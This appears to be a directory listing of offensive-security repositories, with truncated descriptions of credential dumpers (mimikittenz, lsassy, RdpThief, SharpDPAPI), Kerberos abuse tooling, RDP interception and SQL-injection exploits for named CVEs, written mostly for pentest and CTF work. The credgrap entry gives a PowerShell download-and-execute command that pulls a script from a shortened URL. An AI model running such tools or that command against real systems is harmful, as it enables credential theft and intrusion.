Seth

Seth Seth is a tool written in Python and Bash to MitM RDP connections by attempting to downgrade the connection in order to extract clear text credentials. It was developed to raise awareness and educate about the importance of properly configured RDP connections in the context of pentests,...

credgrap_ie_edge

credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...

mimikittenz

mimikittenz mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory in order to extract plain-text passwords from various target processes. mimikittenz can also easily extract other kinds of juicy info from target processes using regex patterns...

Rubeus

Rubeus Rubeus is a C toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project CC BY-NC-SA 4.0 license and Vincent LE TOUX's MakeMeEnterpriseAdmin project GPL v3.0 license. Full credit goes to Benjamin and Vincent for working out the hard component...

ranger

ranger A tool to support security professionals access and interact with remote Microsoft Windows based systems. This project was conceptualized with the thought process, we did not invent the bow or the arrow, just a more efficient way of using it. Ranger is a command-line driven attack and...

VMkatz

VMkatz Too Big to Steal You are three weeks into a red team engagement. You land on a NAS attached to the virtualization cluster — hundreds of gigabytes of .vmdk, .vmsn, .sav sitting right there. But your link does 200 KB/s. Exfiltrating a single 100 GB disk would take six days. VMkatz exists...

CVE-2019-9053-port-py3

CVE-2019-9053 Exploit - Python 3 This is a Python 3 port of the CVE-2019-9053 exploit, which targets CMS Made Simple CMSMS versions before 2.2.10. The vulnerability allows for SQL injection through the News module interface. Example Output Tested on the TryHackMe Simple CTF Challenge. Description...

NtDumpBOF

NtDumpBOF BOF port of the tool https://github.com/ricardojoserf/NativeDump written by @ricardojoserf. Import NtDump.cna and run: ntdump The minidump file will be created in memory and downloaded using CALLBACKFILE and CALLBACKFILEWRITE. Once downloaded the file will be visible at View - Download...

Internal-Monologue

Internal Monologue Attack: Retrieving NTLM Hashes without Touching LSASS Introduction Mimikatz, developed by Benjamin Delpy @gentilkiwi, is a well-regarded post-exploitation tool, which allows adversaries to extract plain text passwords, NTLM hashes and Kerberos tickets from memory, as well as...

CVE-2024-1698-NotificationX-WordPress-Plugin-SQL-Injection-to-Admin-Credential-Extraction

CVE-2024-1698 – NotificationX WordPress Plugin SQL Injection Time‑Based Blind Unauthenticated Time‑Based Blind SQL Injection → Extract admin username & password hash from WordPress. 🧠 Vulnerability Overview NotificationX versions 2.8.2 and below suffer from improper input sanitization in the type...

CVE-2022-0739

CVE-2022-0739 Proof-of-Concept exploit SQLI BookingPress before 1.0.11 Usage Supply the URL to where the Booking Press plugin is in use on the application. bash exploit.sh '' e.g. Hashes are redacted in this demo ┌──user@user-/ └─$ bash sqliexploit.sh 'http://localhost/calendar/' / / / / \ / / /...

lsassy

lsassy Python tool to remotely extract credentials on a set of hosts. This blog post explains how it works. This tool uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials. Chapters| Description ---|--- Warning| Before using this tool, read this...

sqli-hunter-CVE-2024-51482-PoC

sqli-hunter-CVE-2024-51482-PoC Python scripts for exploiting CVE-2024-51482 SQLi in ZoneMinder — HTB CCTV sqli-hunter — CVE-2024-51482 Description This script automates the extraction of databases, tables, columns, and credentials by exploiting CVE-2024-51482, a Boolean-based SQL Injection...

Metabase-Setup-Endpoint-SQLi-Fix

CVE-2026-72898: Metabase Setup Endpoint SQLi Patch This repository contains the hotfix for CVE-2026-72898 , an unauthenticated SQL Injection vulnerability in the setup endpoint of self-hosted Metabase instances. Left unpatched, attackers can bypass the setup token validation, execute arbitrary...

creddump7

Information This repo is for my modifications to the original 'creddump' program available at: https://code.google.com/p/creddump/ I did not write the original program. I have combined many patches and fixes I have seen from different forums and user suggestions, as well as modified the usage to...

RdpThief

RdpThief RdpThief by itself is a standalone DLL that when injected in the mstsc.exe process, will perform API hooking, extract the clear-text credentials and save them to a file. An aggressor script accompanies it, which is responsible for managing the state, monitoring for new processes and...

teamviewer-dumper

Dump TeamViewer ID and password from memory Tested on TeamViewer 13 latest: Win10, Win8.1, Win7x64, Win7x32 Installation: pip3 install frida You can simply run it or compile as a standalone binary: pyinstaller .\tv-dumper.py --onefile Author: Vladimir Ivanov https://twitter.com/httpsonly Usage...

PCredz

PCredz 2.1.0 PCredz extracts credentials and authentication tokens from network traffic PCAP files or live capture. Features Supported Protocols Extract credentials from both IPv4 and IPv6 traffic: NTLM : NTLMv1/v2 hashes from HTTP, SMB, LDAP, MSSQL, DCE-RPC, and more Kerberos : AS-REQ Pre-Auth...

SharpDPAPI

SharpDPAPI SharpDPAPI is a C port of some DPAPI functionality from @gentilkiwi's Mimikatz project. I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow. The SharpChrome subproject is an adaptation ...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 Incident Analysis Overview This project documents the investigation of a real-world exploitation attempt targeting a SharePoint server using the ToolShell vulnerability CVE-2025-53770. The attack demonstrates a full exploitation chain including remote code...